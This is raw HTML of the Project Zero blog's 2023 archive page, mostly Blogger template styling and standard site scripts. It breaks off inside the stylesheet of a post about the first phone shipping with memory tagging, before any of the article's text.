CINXE.COM
Project Zero: 2023
<!DOCTYPE html> <html class='v2' dir='ltr' lang='en' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'> <head> <link href='https://www.blogger.com/static/v1/widgets/3566091532-css_bundle_v2.css' rel='stylesheet' type='text/css'/> <meta content='width=1100' name='viewport'/> <meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/> <meta content='blogger' name='generator'/> <link href='https://googleprojectzero.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/> <link href='https://googleprojectzero.blogspot.com/2023/' rel='canonical'/> <link rel="alternate" type="application/atom+xml" title="Project Zero - Atom" href="https://googleprojectzero.blogspot.com/feeds/posts/default" /> <link rel="alternate" type="application/rss+xml" title="Project Zero - RSS" href="https://googleprojectzero.blogspot.com/feeds/posts/default?alt=rss" /> <link rel="service.post" type="application/atom+xml" title="Project Zero - Atom" href="https://www.blogger.com/feeds/4838136820032157985/posts/default" /> <!--Can't find substitution for tag [blog.ieCssRetrofitLinks]--> <meta content='https://googleprojectzero.blogspot.com/2023/' property='og:url'/> <meta content='Project Zero' property='og:title'/> <meta content='News and updates from the Project Zero team at Google' property='og:description'/> <title>Project Zero: 2023</title> <style type='text/css'>@font-face{font-family:'Open Sans';font-style:normal;font-weight:400;font-stretch:normal;font-display:swap;src:url(//fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4gaVY.eot);}</style> <style id='page-skin-1' type='text/css'><!-- /* ----------------------------------------------- Blogger Template Style Name: Simple Designer: Blogger URL: www.blogger.com ----------------------------------------------- */ /* Variable definitions ==================== <Variable name="keycolor" description="Main Color" type="color" default="#66bbdd"/> <Group description="Page Text" selector="body"> <Variable name="body.font" description="Font" type="font" default="normal normal 12px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/> <Variable name="body.text.color" description="Text Color" type="color" default="#222222"/> </Group> <Group description="Backgrounds" selector=".body-fauxcolumns-outer"> <Variable name="body.background.color" description="Outer Background" type="color" default="#66bbdd"/> <Variable name="content.background.color" description="Main Background" type="color" default="#ffffff"/> <Variable name="header.background.color" description="Header Background" type="color" default="transparent"/> </Group> <Group description="Links" selector=".main-outer"> <Variable name="link.color" description="Link Color" type="color" default="#2288bb"/> <Variable name="link.visited.color" description="Visited Color" type="color" default="#888888"/> <Variable name="link.hover.color" description="Hover Color" type="color" default="#33aaff"/> </Group> <Group description="Blog Title" selector=".header h1"> <Variable name="header.font" description="Font" type="font" default="normal normal 60px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/> <Variable name="header.text.color" description="Title Color" type="color" default="#3399bb" /> </Group> <Group description="Blog Description" selector=".header .description"> <Variable name="description.text.color" description="Description Color" type="color" default="#777777" /> </Group> <Group description="Tabs Text" selector=".tabs-inner .widget li a"> <Variable name="tabs.font" description="Font" type="font" default="normal normal 14px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/> <Variable name="tabs.text.color" description="Text Color" type="color" default="#999999"/> <Variable name="tabs.selected.text.color" description="Selected Color" type="color" default="#000000"/> </Group> <Group description="Tabs Background" selector=".tabs-outer .PageList"> <Variable name="tabs.background.color" description="Background Color" type="color" default="#f5f5f5"/> <Variable name="tabs.selected.background.color" description="Selected Color" type="color" default="#eeeeee"/> </Group> <Group description="Post Title" selector="h3.post-title, .comments h4"> <Variable name="post.title.font" description="Font" type="font" default="normal normal 22px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/> </Group> <Group description="Date Header" selector=".date-header"> <Variable name="date.header.color" description="Text Color" type="color" default="#000000"/> <Variable name="date.header.background.color" description="Background Color" type="color" default="transparent"/> <Variable name="date.header.font" description="Text Font" type="font" default="normal bold 11px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/> <Variable name="date.header.padding" description="Date Header Padding" type="string" default="inherit"/> <Variable name="date.header.letterspacing" description="Date Header Letter Spacing" type="string" default="inherit"/> <Variable name="date.header.margin" description="Date Header Margin" type="string" default="inherit"/> </Group> <Group description="Post Footer" selector=".post-footer"> <Variable name="post.footer.text.color" description="Text Color" type="color" default="#666666"/> <Variable name="post.footer.background.color" description="Background Color" type="color" default="#f9f9f9"/> <Variable name="post.footer.border.color" description="Shadow Color" type="color" default="#eeeeee"/> </Group> <Group description="Gadgets" selector="h2"> <Variable name="widget.title.font" description="Title Font" type="font" default="normal bold 11px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/> <Variable name="widget.title.text.color" description="Title Color" type="color" default="#000000"/> <Variable name="widget.alternate.text.color" description="Alternate Color" type="color" default="#999999"/> </Group> <Group description="Images" selector=".main-inner"> <Variable name="image.background.color" description="Background Color" type="color" default="#ffffff"/> <Variable name="image.border.color" description="Border Color" type="color" default="#eeeeee"/> <Variable name="image.text.color" description="Caption Text Color" type="color" default="#000000"/> </Group> <Group description="Accents" selector=".content-inner"> <Variable name="body.rule.color" description="Separator Line Color" type="color" default="#eeeeee"/> <Variable name="tabs.border.color" description="Tabs Border Color" type="color" default="transparent"/> </Group> <Variable name="body.background" description="Body Background" type="background" color="#eeeeee" default="$(color) none repeat scroll top left"/> <Variable name="body.background.override" description="Body Background Override" type="string" default=""/> <Variable name="body.background.gradient.cap" description="Body Gradient Cap" type="url" default="url(https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.png)"/> <Variable name="body.background.gradient.tile" description="Body Gradient Tile" type="url" default="url(https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png)"/> <Variable name="content.background.color.selector" description="Content Background Color Selector" type="string" default=".content-inner"/> <Variable name="content.padding" description="Content Padding" type="length" default="10px" min="0" max="100px"/> <Variable name="content.padding.horizontal" description="Content Horizontal Padding" type="length" default="10px" min="0" max="100px"/> <Variable name="content.shadow.spread" description="Content Shadow Spread" type="length" default="40px" min="0" max="100px"/> <Variable name="content.shadow.spread.webkit" description="Content Shadow Spread (WebKit)" type="length" default="5px" min="0" max="100px"/> <Variable name="content.shadow.spread.ie" description="Content Shadow Spread (IE)" type="length" default="10px" min="0" max="100px"/> <Variable name="main.border.width" description="Main Border Width" type="length" default="0" min="0" max="10px"/> <Variable name="header.background.gradient" description="Header Gradient" type="url" default="none"/> <Variable name="header.shadow.offset.left" description="Header Shadow Offset Left" type="length" default="-1px" min="-50px" max="50px"/> <Variable name="header.shadow.offset.top" description="Header Shadow Offset Top" type="length" default="-1px" min="-50px" max="50px"/> <Variable name="header.shadow.spread" description="Header Shadow Spread" type="length" default="1px" min="0" max="100px"/> <Variable name="header.padding" description="Header Padding" type="length" default="30px" min="0" max="100px"/> <Variable name="header.border.size" description="Header Border Size" type="length" default="1px" min="0" max="10px"/> <Variable name="header.bottom.border.size" description="Header Bottom Border Size" type="length" default="1px" min="0" max="10px"/> <Variable name="header.border.horizontalsize" description="Header Horizontal Border Size" type="length" default="0" min="0" max="10px"/> <Variable name="description.text.size" description="Description Text Size" type="string" default="140%"/> <Variable name="tabs.margin.top" description="Tabs Margin Top" type="length" default="0" min="0" max="100px"/> <Variable name="tabs.margin.side" description="Tabs Side Margin" type="length" default="30px" min="0" max="100px"/> <Variable name="tabs.background.gradient" description="Tabs Background Gradient" type="url" default="url(https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.png)"/> <Variable name="tabs.border.width" description="Tabs Border Width" type="length" default="1px" min="0" max="10px"/> <Variable name="tabs.bevel.border.width" description="Tabs Bevel Border Width" type="length" default="1px" min="0" max="10px"/> <Variable name="post.margin.bottom" description="Post Bottom Margin" type="length" default="25px" min="0" max="100px"/> <Variable name="image.border.small.size" description="Image Border Small Size" type="length" default="2px" min="0" max="10px"/> <Variable name="image.border.large.size" description="Image Border Large Size" type="length" default="5px" min="0" max="10px"/> <Variable name="page.width.selector" description="Page Width Selector" type="string" default=".region-inner"/> <Variable name="page.width" description="Page Width" type="string" default="auto"/> <Variable name="main.section.margin" description="Main Section Margin" type="length" default="15px" min="0" max="100px"/> <Variable name="main.padding" description="Main Padding" type="length" default="15px" min="0" max="100px"/> <Variable name="main.padding.top" description="Main Padding Top" type="length" default="30px" min="0" max="100px"/> <Variable name="main.padding.bottom" description="Main Padding Bottom" type="length" default="30px" min="0" max="100px"/> <Variable name="paging.background" color="#ffffff" description="Background of blog paging area" type="background" default="transparent none no-repeat scroll top center"/> <Variable name="footer.bevel" description="Bevel border length of footer" type="length" default="0" min="0" max="10px"/> <Variable name="mobile.background.overlay" description="Mobile Background Overlay" type="string" default="transparent none repeat scroll top left"/> <Variable name="mobile.background.size" description="Mobile Background Size" type="string" default="auto"/> <Variable name="mobile.button.color" description="Mobile Button Color" type="color" default="#ffffff" /> <Variable name="startSide" description="Side where text starts in blog language" type="automatic" default="left"/> <Variable name="endSide" description="Side where text ends in blog language" type="automatic" default="right"/> */ /* Content ----------------------------------------------- */ body { font: normal normal 12px Open Sans; color: #000000; background: #eeeeee none repeat scroll top left; padding: 0 0 0 0; } html body .region-inner { min-width: 0; max-width: 100%; width: auto; } h2 { font-size: 22px; } a:link { text-decoration:none; color: #2288bb; } a:visited { text-decoration:none; color: #888888; } a:hover { text-decoration:underline; color: #33aaff; } .body-fauxcolumn-outer .fauxcolumn-inner { background: transparent none repeat scroll top left; _background-image: none; } .body-fauxcolumn-outer .cap-top { position: absolute; z-index: 1; height: 400px; width: 100%; } .body-fauxcolumn-outer .cap-top .cap-left { width: 100%; background: transparent none repeat-x scroll top left; _background-image: none; } .content-outer { -moz-box-shadow: 0 0 0 rgba(0, 0, 0, .15); -webkit-box-shadow: 0 0 0 rgba(0, 0, 0, .15); -goog-ms-box-shadow: 0 0 0 #333333; box-shadow: 0 0 0 rgba(0, 0, 0, .15); margin-bottom: 1px; } .content-inner { padding: 10px 40px; } .content-inner { background-color: #ffffff; } /* Header ----------------------------------------------- */ .header-outer { background: transparent none repeat-x scroll 0 -400px; _background-image: none; } .Header h1 { font: normal normal 40px Open Sans; color: #000000; text-shadow: 0 0 0 rgba(0, 0, 0, .2); } .Header h1 a { color: #000000; } .Header .description { font-size: 18px; color: #000000; } .header-inner .Header .titlewrapper { padding: 22px 0; } .header-inner .Header .descriptionwrapper { padding: 0 0; } /* Tabs ----------------------------------------------- */ .tabs-inner .section:first-child { border-top: 0 solid #dddddd; } .tabs-inner .section:first-child ul { margin-top: -1px; border-top: 1px solid #dddddd; border-left: 1px solid #dddddd; border-right: 1px solid #dddddd; } .tabs-inner .widget ul { background: transparent none repeat-x scroll 0 -800px; _background-image: none; border-bottom: 1px solid #dddddd; margin-top: 0; margin-left: -30px; margin-right: -30px; } .tabs-inner .widget li a { display: inline-block; padding: .6em 1em; font: normal normal 12px Open Sans; color: #000000; border-left: 1px solid #ffffff; border-right: 1px solid #dddddd; } .tabs-inner .widget li:first-child a { border-left: none; } .tabs-inner .widget li.selected a, .tabs-inner .widget li a:hover { color: #000000; background-color: #eeeeee; text-decoration: none; } /* Columns ----------------------------------------------- */ .main-outer { border-top: 0 solid transparent; } .fauxcolumn-left-outer .fauxcolumn-inner { border-right: 1px solid transparent; } .fauxcolumn-right-outer .fauxcolumn-inner { border-left: 1px solid transparent; } /* Headings ----------------------------------------------- */ div.widget > h2, div.widget h2.title { margin: 0 0 1em 0; font: normal bold 11px 'Trebuchet MS',Trebuchet,Verdana,sans-serif; color: #000000; } /* Widgets ----------------------------------------------- */ .widget .zippy { color: #999999; text-shadow: 2px 2px 1px rgba(0, 0, 0, .1); } .widget .popular-posts ul { list-style: none; } /* Posts ----------------------------------------------- */ h2.date-header { font: normal bold 11px Arial, Tahoma, Helvetica, FreeSans, sans-serif; } .date-header span { background-color: #bbbbbb; color: #ffffff; padding: 0.4em; letter-spacing: 3px; margin: inherit; } .main-inner { padding-top: 35px; padding-bottom: 65px; } .main-inner .column-center-inner { padding: 0 0; } .main-inner .column-center-inner .section { margin: 0 1em; } .post { margin: 0 0 45px 0; } h3.post-title, .comments h4 { font: normal normal 22px Open Sans; margin: .75em 0 0; } .post-body { font-size: 110%; line-height: 1.4; position: relative; } .post-body img, .post-body .tr-caption-container, .Profile img, .Image img, .BlogList .item-thumbnail img { padding: 2px; background: #ffffff; border: 1px solid #eeeeee; -moz-box-shadow: 1px 1px 5px rgba(0, 0, 0, .1); -webkit-box-shadow: 1px 1px 5px rgba(0, 0, 0, .1); box-shadow: 1px 1px 5px rgba(0, 0, 0, .1); } .post-body img, .post-body .tr-caption-container { padding: 5px; } .post-body .tr-caption-container { color: #666666; } .post-body .tr-caption-container img { padding: 0; background: transparent; border: none; -moz-box-shadow: 0 0 0 rgba(0, 0, 0, .1); -webkit-box-shadow: 0 0 0 rgba(0, 0, 0, .1); box-shadow: 0 0 0 rgba(0, 0, 0, .1); } .post-header { margin: 0 0 1.5em; line-height: 1.6; font-size: 90%; } .post-footer { margin: 20px -2px 0; padding: 5px 10px; color: #666666; background-color: #eeeeee; border-bottom: 1px solid #eeeeee; line-height: 1.6; font-size: 90%; } #comments .comment-author { padding-top: 1.5em; border-top: 1px solid transparent; background-position: 0 1.5em; } #comments .comment-author:first-child { padding-top: 0; border-top: none; } .avatar-image-container { margin: .2em 0 0; } #comments .avatar-image-container img { border: 1px solid #eeeeee; } /* Comments ----------------------------------------------- */ .comments .comments-content .icon.blog-author { background-repeat: no-repeat; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEgAACxIB0t1+/AAAAAd0SU1FB9sLFwMeCjjhcOMAAAD+SURBVDjLtZSvTgNBEIe/WRRnm3U8RC1neQdsm1zSBIU9VVF1FkUguQQsD9ITmD7ECZIJSE4OZo9stoVjC/zc7ky+zH9hXwVwDpTAWWLrgS3QAe8AZgaAJI5zYAmc8r0G4AHYHQKVwII8PZrZFsBFkeRCABYiMh9BRUhnSkPTNCtVXYXURi1FpBDgArj8QU1eVXUzfnjv7yP7kwu1mYrkWlU33vs1QNu2qU8pwN0UpKoqokjWwCztrMuBhEhmh8bD5UDqur75asbcX0BGUB9/HAMB+r32hznJgXy2v0sGLBcyAJ1EK3LFcbo1s91JeLwAbwGYu7TP/3ZGfnXYPgAVNngtqatUNgAAAABJRU5ErkJggg==); } .comments .comments-content .loadmore a { border-top: 1px solid #999999; border-bottom: 1px solid #999999; } .comments .comment-thread.inline-thread { background-color: #eeeeee; } .comments .continue { border-top: 2px solid #999999; } /* Accents ---------------------------------------------- */ .section-columns td.columns-cell { border-left: 1px solid transparent; } .blog-pager { background: transparent url(//www.blogblog.com/1kt/simple/paging_dot.png) repeat-x scroll top center; } .blog-pager-older-link, .home-link, .blog-pager-newer-link { background-color: #ffffff; padding: 5px; } .footer-outer { border-top: 1px dashed #bbbbbb; } /* Mobile ----------------------------------------------- */ body.mobile { background-size: auto; } .mobile .body-fauxcolumn-outer { background: transparent none repeat scroll top left; } .mobile .body-fauxcolumn-outer .cap-top { background-size: 100% auto; } .mobile .content-outer { -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, .15); box-shadow: 0 0 3px rgba(0, 0, 0, .15); } .mobile .tabs-inner .widget ul { margin-left: 0; margin-right: 0; } .mobile .post { margin: 0; } .mobile .main-inner .column-center-inner .section { margin: 0; } .mobile .date-header span { padding: 0.1em 10px; margin: 0 -10px; } .mobile h3.post-title { margin: 0; } .mobile .blog-pager { background: transparent none no-repeat scroll top center; } .mobile .footer-outer { border-top: none; } .mobile .main-inner, .mobile .footer-inner { background-color: #ffffff; } .mobile-index-contents { color: #000000; } .mobile-link-button { background-color: #2288bb; } .mobile-link-button a:link, .mobile-link-button a:visited { color: #ffffff; } .mobile .tabs-inner .section:first-child { border-top: none; } .mobile .tabs-inner .PageList .widget-content { background-color: #eeeeee; color: #000000; border-top: 1px solid #dddddd; border-bottom: 1px solid #dddddd; } .mobile .tabs-inner .PageList .widget-content .pagelist-arrow { border-left: 1px solid #dddddd; } --></style> <style id='template-skin-1' type='text/css'><!-- body { min-width: 1120px; } .content-outer, .content-fauxcolumn-outer, .region-inner { min-width: 1120px; max-width: 1120px; _width: 1120px; } .main-inner .columns { padding-left: 0; padding-right: 310px; } .main-inner .fauxcolumn-center-outer { left: 0; right: 310px; /* IE6 does not respect left and right together */ _width: expression(this.parentNode.offsetWidth - parseInt("0") - parseInt("310px") + 'px'); } .main-inner .fauxcolumn-left-outer { width: 0; } .main-inner .fauxcolumn-right-outer { width: 310px; } .main-inner .column-left-outer { width: 0; right: 100%; margin-left: -0; } .main-inner .column-right-outer { width: 310px; margin-right: -310px; } #layout { min-width: 0; } #layout .content-outer { min-width: 0; width: 800px; } #layout .region-inner { min-width: 0; width: auto; } body#layout div.add_widget { padding: 8px; } body#layout div.add_widget a { margin-left: 32px; } --></style> <script type='text/javascript'> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-240546891-1', 'auto', 'blogger'); ga('blogger.send', 'pageview'); </script> <link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=4838136820032157985&zx=89189630-7e30-43b5-91d3-8fdab32d43bc' media='none' onload='if(media!='all')media='all'' rel='stylesheet'/><noscript><link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=4838136820032157985&zx=89189630-7e30-43b5-91d3-8fdab32d43bc' rel='stylesheet'/></noscript> <meta name='google-adsense-platform-account' content='ca-host-pub-1556223355139109'/> <meta name='google-adsense-platform-domain' content='blogspot.com'/> </head> <body class='loading'> <div class='navbar section' id='navbar' name='Navbar'><div class='widget Navbar' data-version='1' id='Navbar1'><script type="text/javascript"> function setAttributeOnload(object, attribute, val) { if(window.addEventListener) { window.addEventListener('load', function(){ object[attribute] = val; }, false); } else { window.attachEvent('onload', function(){ object[attribute] = val; }); } } </script> <div id="navbar-iframe-container"></div> <script type="text/javascript" src="https://apis.google.com/js/platform.js"></script> <script type="text/javascript"> gapi.load("gapi.iframes:gapi.iframes.style.bubble", function() { if (gapi.iframes && gapi.iframes.getContext) { gapi.iframes.getContext().openChild({ url: 'https://www.blogger.com/navbar.g?targetBlogID\x3d4838136820032157985\x26blogName\x3dProject+Zero\x26publishMode\x3dPUBLISH_MODE_BLOGSPOT\x26navbarType\x3dLIGHT\x26layoutType\x3dLAYOUTS\x26searchRoot\x3dhttps://googleprojectzero.blogspot.com/search\x26blogLocale\x3den\x26v\x3d2\x26homepageUrl\x3dhttps://googleprojectzero.blogspot.com/\x26vt\x3d7568236161501195533', where: document.getElementById("navbar-iframe-container"), id: "navbar-iframe", messageHandlersFilter: gapi.iframes.CROSS_ORIGIN_IFRAMES_FILTER, messageHandlers: { 'blogger-ping': function() {} } }); } }); </script><script type="text/javascript"> (function() { var script = document.createElement('script'); script.type = 'text/javascript'; script.src = '//pagead2.googlesyndication.com/pagead/js/google_top_exp.js'; var head = document.getElementsByTagName('head')[0]; if (head) { head.appendChild(script); }})(); </script> </div></div> <div class='body-fauxcolumns'> <div class='fauxcolumn-outer body-fauxcolumn-outer'> <div class='cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left'> <div class='fauxborder-right'></div> <div class='fauxcolumn-inner'> </div> </div> <div class='cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </div> <div class='content'> <div class='content-fauxcolumns'> <div class='fauxcolumn-outer content-fauxcolumn-outer'> <div class='cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left'> <div class='fauxborder-right'></div> <div class='fauxcolumn-inner'> </div> </div> <div class='cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </div> <div class='content-outer'> <div class='content-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left content-fauxborder-left'> <div class='fauxborder-right content-fauxborder-right'></div> <div class='content-inner'> <header> <div class='header-outer'> <div class='header-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left header-fauxborder-left'> <div class='fauxborder-right header-fauxborder-right'></div> <div class='region-inner header-inner'> <div class='header section' id='header' name='Header'><div class='widget Header' data-version='1' id='Header1'> <div id='header-inner'> <div class='titlewrapper'> <h1 class='title'> <a href='https://googleprojectzero.blogspot.com/'> Project Zero </a> </h1> </div> <div class='descriptionwrapper'> <p class='description'><span>News and updates from the Project Zero team at Google</span></p> </div> </div> </div></div> </div> </div> <div class='header-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </header> <div class='tabs-outer'> <div class='tabs-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left tabs-fauxborder-left'> <div class='fauxborder-right tabs-fauxborder-right'></div> <div class='region-inner tabs-inner'> <div class='tabs no-items section' id='crosscol' name='Cross-Column'></div> <div class='tabs no-items section' id='crosscol-overflow' name='Cross-Column 2'></div> </div> </div> <div class='tabs-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> <div class='main-outer'> <div class='main-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left main-fauxborder-left'> <div class='fauxborder-right main-fauxborder-right'></div> <div class='region-inner main-inner'> <div class='columns fauxcolumns'> <div class='fauxcolumn-outer fauxcolumn-center-outer'> <div class='cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left'> <div class='fauxborder-right'></div> <div class='fauxcolumn-inner'> </div> </div> <div class='cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> <div class='fauxcolumn-outer fauxcolumn-left-outer'> <div class='cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left'> <div class='fauxborder-right'></div> <div class='fauxcolumn-inner'> </div> </div> <div class='cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> <div class='fauxcolumn-outer fauxcolumn-right-outer'> <div class='cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left'> <div class='fauxborder-right'></div> <div class='fauxcolumn-inner'> </div> </div> <div class='cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> <!-- corrects IE6 width calculation --> <div class='columns-inner'> <div class='column-center-outer'> <div class='column-center-inner'> <div class='main section' id='main' name='Main'><div class='widget Blog' data-version='1' id='Blog1'> <div class='blog-posts hfeed'> <div class="date-outer"> <h2 class='date-header'><span>Friday, November 3, 2023</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMUk4xkJBZCV6AiOVlAXpvjqe7Jy8zbE16O3VggdMsppvQyNa4JmkS05c2G6tnAQ2VBEqQDCtJ3MnZgTW3IICWVAdnDZOAW9B66AsuQZPN5wj_diwjLH3n_quGk9u4-nLoORIUXBuOX3KyxclJvUd87vWjBK8fBG79A70dLxa_vK2brlb5YgZaon5BoWU/s1200/Screenshot%202023-11-01%20at%204.54.22%E2%80%AFPM.png' itemprop='image_url'/> <meta content='4838136820032157985' itemprop='blogId'/> <meta content='2472210734448723641' itemprop='postId'/> <a name='2472210734448723641'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='https://googleprojectzero.blogspot.com/2023/11/first-handset-with-mte-on-market.html'>First handset with MTE on the market </a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-2472210734448723641' itemprop='description articleBody'> <style type="text/css">@import url(https://themes.googleusercontent.com/fonts/css?kit=DFQxm4rd7fRHgM9OTejWVT5Vho6BE7M80rHXEVKqXWcinf93kRmgH2T4xWS0JMLd96xlbbE5D7Gw2o7jubnkMA);.lst-kix_mpwcgajc4xj4-0>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-0}ol.lst-kix_mpwcgajc4xj4-4{list-style-type:none}.lst-kix_d02lf6xv7lip-8>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-3{list-style-type:none}ol.lst-kix_mpwcgajc4xj4-6{list-style-type:none}.lst-kix_d02lf6xv7lip-7>li:before{content:"- "}.lst-kix_6winxzvxkxle-2>li:before{content:"- "}.lst-kix_6winxzvxkxle-4>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-5{list-style-type:none}ol.lst-kix_mpwcgajc4xj4-0{list-style-type:none}ol.lst-kix_mpwcgajc4xj4-2.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-2 0}.lst-kix_d02lf6xv7lip-6>li:before{content:"- "}.lst-kix_mpwcgajc4xj4-6>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-6}ol.lst-kix_mpwcgajc4xj4-2{list-style-type:none}.lst-kix_6winxzvxkxle-3>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-1{list-style-type:none}ul.lst-kix_d02lf6xv7lip-7{list-style-type:none}ul.lst-kix_d02lf6xv7lip-8{list-style-type:none}ul.lst-kix_d02lf6xv7lip-5{list-style-type:none}.lst-kix_6winxzvxkxle-6>li:before{content:"- "}ul.lst-kix_d02lf6xv7lip-6{list-style-type:none}ul.lst-kix_d02lf6xv7lip-3{list-style-type:none}ul.lst-kix_d02lf6xv7lip-4{list-style-type:none}ul.lst-kix_d02lf6xv7lip-1{list-style-type:none}.lst-kix_6winxzvxkxle-5>li:before{content:"- "}ul.lst-kix_d02lf6xv7lip-2{list-style-type:none}ul.lst-kix_d02lf6xv7lip-0{list-style-type:none}.lst-kix_mpwcgajc4xj4-5>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-5}.lst-kix_6winxzvxkxle-7>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-6.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-6 0}.lst-kix_6winxzvxkxle-8>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-8{list-style-type:none}ol.lst-kix_mpwcgajc4xj4-7{list-style-type:none}ol.lst-kix_mpwcgajc4xj4-8.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-8 0}ol.lst-kix_mpwcgajc4xj4-5.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-5 0}ul.lst-kix_wtv2d6q4vyvv-8{list-style-type:none}.lst-kix_mpwcgajc4xj4-0>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-0,decimal) ". "}.lst-kix_mpwcgajc4xj4-1>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-1,lower-latin) ". "}.lst-kix_mpwcgajc4xj4-3>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-3,decimal) ". "}ul.lst-kix_wtv2d6q4vyvv-1{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-0{list-style-type:none}.lst-kix_mpwcgajc4xj4-2>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-2,lower-roman) ". "}.lst-kix_mpwcgajc4xj4-4>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-4,lower-latin) ". "}ul.lst-kix_wtv2d6q4vyvv-3{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-2{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-5{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-4{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-7{list-style-type:none}ul.lst-kix_wtv2d6q4vyvv-6{list-style-type:none}ul.lst-kix_6winxzvxkxle-8{list-style-type:none}.lst-kix_mpwcgajc4xj4-7>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-7,lower-latin) ". "}.lst-kix_wtv2d6q4vyvv-0>li:before{content:"- "}ul.lst-kix_6winxzvxkxle-7{list-style-type:none}.lst-kix_mpwcgajc4xj4-3>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-3}ul.lst-kix_6winxzvxkxle-6{list-style-type:none}.lst-kix_mpwcgajc4xj4-6>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-6,decimal) ". "}.lst-kix_mpwcgajc4xj4-8>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-8,lower-roman) ". "}ul.lst-kix_6winxzvxkxle-5{list-style-type:none}ul.lst-kix_6winxzvxkxle-4{list-style-type:none}.lst-kix_mpwcgajc4xj4-5>li:before{content:"" counter(lst-ctn-kix_mpwcgajc4xj4-5,lower-roman) ". "}.lst-kix_wtv2d6q4vyvv-2>li:before{content:"- "}ul.lst-kix_6winxzvxkxle-3{list-style-type:none}ul.lst-kix_6winxzvxkxle-2{list-style-type:none}.lst-kix_wtv2d6q4vyvv-1>li:before{content:"- "}ul.lst-kix_6winxzvxkxle-1{list-style-type:none}.lst-kix_wtv2d6q4vyvv-4>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-4.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-4 0}.lst-kix_wtv2d6q4vyvv-3>li:before{content:"- "}.lst-kix_wtv2d6q4vyvv-8>li:before{content:"- "}.lst-kix_mpwcgajc4xj4-8>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-8}ol.lst-kix_mpwcgajc4xj4-0.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-0 